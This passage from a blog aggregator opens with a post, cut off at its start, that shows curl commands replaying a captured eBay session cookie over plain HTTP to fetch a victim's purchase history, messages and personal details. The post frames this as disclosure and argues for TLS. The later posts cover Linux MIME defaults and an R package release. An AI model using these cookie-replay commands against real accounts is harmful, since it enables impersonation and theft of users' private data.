Now you have the user s cookie and you can impersonate that user. Store the cookie in an environment variable named COOKIE and 
sudo apt install curl
# Get the purchase history
curl --cookie "$COOKIE" http://www.ebay.co.uk/myb/PurchaseHistory > history.html
# Get the current cart contents
curl --cookie "$COOKIE" http://cart.payments.ebay.co.uk/sc/view > cart.html
# Get the current bids/offers
curl --cookie "$COOKIE" http://www.ebay.co.uk/myb/BidsOffers > bids.html
# Get the messages list
curl --cookie "$COOKIE" http://mesg.ebay.co.uk/mesgweb/ViewMessages/0 > messages.html
# Get the watch list
curl --cookie "$COOKIE" http://www.ebay.co.uk/myb/WatchList > watch.html
I m sure you can use your imagination for more. One of my favourites is 
# Get the personal information
curl --cookie "$COOKIE" http://my.ebay.co.uk/ws/eBayISAPI.dll?MyeBay&CurrentPage=MyeBayPersonalInfo&gbh=1&ssPageName=STRK:ME:LNLK > personal.html
This one will give you the secret questions (but not the answers) and the last 4 digits of the registered card for a seller account. In the case of Mat Honan in 2012, the last 4 digits of his card number led to the loss of his Twitter account. The techniques I ve shown here do not seem to care where the request comes from. We tested using my cookie from Ana s laptop and also tried from a server hosted in the US (our routing origin is in Germany so this should have perhaps been a red flag). I could not find any interface through which I could query my login history, I m not sure what it would have shown. I m not a security researcher, though I do work as an Internet Engineering researcher. I m publishing this as these vulnerabilities have already been disclosed in the paper I linked above and I believe this is something that needs attention. Every time I pointed out to someone that eBay does not use TLS over the last week they were suprised, and often horrified. You might think that better validation of the source of the cookie might help, for instance, rejecting requests that suddenly come from other countries. As long as the attacker is on the path they have the ability to create flows that impersonate the host at the network layer. The only option here is to encrypt the flow and to ensure a means of authenticating the server, which is exactly what TLS provides. You might think that such attacks may never occur, but active probes in response to passive measurements have been observed. I would think that having all these cookies floating around the Internet is really just an invitation for those cookies to be abused by some intelligence service (or criminal organisation). I would be very surprised if such ideas had not already been explored, if not implemented, on a large scale. Please Internet, TLS already.

8 December 2016

Stig Sandbeck Mathisen: MIME types and applications

On a Linux system with desktop-file-utils installed, the default application for opening a file with a file manager, from a web browser, or using xdg-open on the command line is not static. The last installed or upgraded application becomes the default. For example: After installing gimp, that application will be used to open any of the many types of files it supports. This lasts until another application which can open those mime types is installed or upgraded. If I later install or upgrade mupdf , that application will be used for PDF, until, etcetera. There are several bug reports filed for this confusing behaviour: Debian: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=525077 Ubuntu: https://bugs.launchpad.net/ubuntu/+source/gimp/+bug/574342 Firefox: https://bugzilla.mozilla.org/show_bug.cgi?id=727422

Components

/usr/bin/update-desktop-database is a command in the package desktop-file-utils This command is run in the package postinst script, and triggers on writes to /usr/share/applications where .desktop files are written.

/usr/share/applications This directory contains a list of applications (files ending with .desktop). These desktop files include mime types they are able to work with. The mupdf.desktop example shows it is able to work with (among other) application/pdf 
[Desktop Entry]
Encoding=UTF-8
Name=MuPDF
GenericName=PDF file viewer
Comment=PDF file viewer
Exec=mupdf %f
TryExec=mupdf
Icon=mupdf
Terminal=false
Type=Application
MimeType=application/pdf;application/x-pdf;
Categories=Viewer;Graphics;
NoDisplay=true
[Desktop Action View]
Exec=mupdf %f
The gimp.desktop application entry shows it is more capable: 
[Desktop Entry]
Version=1.0
Type=Application
Name=GNU Image Manipulation Program
# [...]
MimeType=image/bmp;image/g3fax;image/gif;image/x-fits;image/x-pcx;image/x-portable-anymap;image/x-portable-bitmap;image/x-portable-graymap;image/x-portable-pixmap;image/x-psd;image/x-sgi;image/x-tga;image/x-xbitmap;image/x-xwindowdump;image/x-xcf;image/x-compressed-xcf;image/x-gimp-gbr;image/x-gimp-pat;image/x-gimp-gih;image/tiff;image/jpeg;image/x-psp;application/postscript;image/png;image/x-icon;image/x-xpixmap;image/svg+xml;application/pdf;image/x-wmf;image/x-xcursor;
However, I m quite sure I do not want gimp to be the default viewer for all those file types.

/usr/share/applications/mimeinfo.cache This is a list of MIME types, with a list of applications able to open them. The first entry in the list is the default application. You may also have one of these in ~/.local/share/applications for applications installed in the user s home directory. Examples: With gimp.desktop first, xdg-open test.pdf will use gimp 
[MIME Cache]
# [...]
application/pdf=gimp.desktop;mupdf.desktop;evince.desktop;libreoffice-draw.desktop;
After uninstalling and reinstalling mupdf, mupdf.desktop is first in the list, and xdg-open test.pdf will use mupdf 
[MIME Cache]
# [...]
application/pdf=mupdf.desktop;gimp.desktop;evince.desktop;libreoffice-draw.desktop;
The order of .desktop files in mimeinfo.cache is the reverse of the order they are added to that directory. The last installed utility is first in that list.

Application Trace This was fun to dig into. I ve just gotten some training which included a a better look at auditd. Auditd is a nice hammer, and this problem was a good nail. I ran the command under autrace , and then looked for the order of reads from each run. When mupdf is installed last, mupdf.desktop is read last, and placed first in the list of applications: 
root@laptop:~# autrace /usr/bin/update-desktop-database
Waiting to execute: /usr/bin/update-desktop-database
Cleaning up...
Trace complete. You can locate the records with 'ausearch -i -p 13507'
root@laptop:~# ausearch -p 13507   aureport --file   egrep 'gimp mupdf'
389. 12/09/2016 17:35:37 /usr/share/applications/gimp.desktop 4 yes /usr/bin/update-desktop-database 1000 8002
390. 12/09/2016 17:35:37 /usr/share/applications/gimp.desktop 2 yes /usr/bin/update-desktop-database 1000 8003
391. 12/09/2016 17:35:37 /usr/share/applications/mupdf.desktop 4 yes /usr/bin/update-desktop-database 1000 8010
392. 12/09/2016 17:35:37 /usr/share/applications/mupdf.desktop 2 yes /usr/bin/update-desktop-database 1000 8011
root@laptop:~# grep application/pdf /usr/share/applications/mimeinfo.cache
application/pdf=mupdf.desktop;gimp.desktop;evince.desktop;libreoffice-draw.desktop;
Reinstalling gimp puts that first in the entry for application/pdf 
root@laptop:~# apt install --reinstall gimp
[...]
Preparing to unpack .../gimp_2.8.18-1_amd64.deb ...
Unpacking gimp (2.8.18-1) over (2.8.18-1) ...
Processing triggers for mime-support (3.60) ...
Processing triggers for desktop-file-utils (0.23-1) ...
Setting up gimp (2.8.18-1) ...
Processing triggers for gnome-menus (3.13.3-8) ...
[...]
root@laptop:~# autrace /usr/bin/update-desktop-database
Waiting to execute: /usr/bin/update-desktop-database
Cleaning up...
Trace complete. You can locate the records with 'ausearch -i -p 15043'
root@laptop:~# ausearch -p 15043   aureport --file   egrep 'gimp mupdf'
389. 12/09/2016 17:39:53 /usr/share/applications/mupdf.desktop 4 yes /usr/bin/update-desktop-database 1000 9550
390. 12/09/2016 17:39:53 /usr/share/applications/mupdf.desktop 2 yes /usr/bin/update-desktop-database 1000 9551
391. 12/09/2016 17:39:53 /usr/share/applications/gimp.desktop 4 yes /usr/bin/update-desktop-database 1000 9556
392. 12/09/2016 17:39:53 /usr/share/applications/gimp.desktop 2 yes /usr/bin/update-desktop-database 1000 9557
root@laptop:~# grep application/pdf /usr/share/applications/mimeinfo.cache
application/pdf=gimp.desktop;mupdf.desktop;evince.desktop;libreoffice-draw.desktop;

Configuration The solution to this is to add configuration so it will use something else than the default. The xdg-mime command is your tool. The various desktop environments often do this for you. However, if you have a lightweight work environment, you may need to do this yourself for the MIME types you care about. 
ssm@laptop ~ :) % xdg-mime query default application/pdf
gimp.desktop
ssm@laptop ~ :) % xdg-mime default mupdf.desktop application/pdf
ssm@laptop ~ :) % xdg-mime query default application/pdf
mupdf.desktop
This updates ~/.local/share/applications/mimeapps.list , and you should now have set your preferred PDF reader.

Dirk Eddelbuettel: RcppAPT 0.0.3

A new version of RcppAPT -- our interface from R to the C++ library behind the awesome apt, apt-get, apt-cache, ... commands and their cache powering Debian, Ubuntu and the like -- is now on CRAN. We changed the package to require C++11 compilation as newer Debian systems with g++-6 and the current libapt-pkg-dev library cannot build under the C++98 standard which CRAN imposes (and let's not get into why ...). Once set to C++11 we have no issues. We also added more examples to the manual pages, and turned on code coverage. A bit more information about the package is available here as well as as the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

Next.

Previous.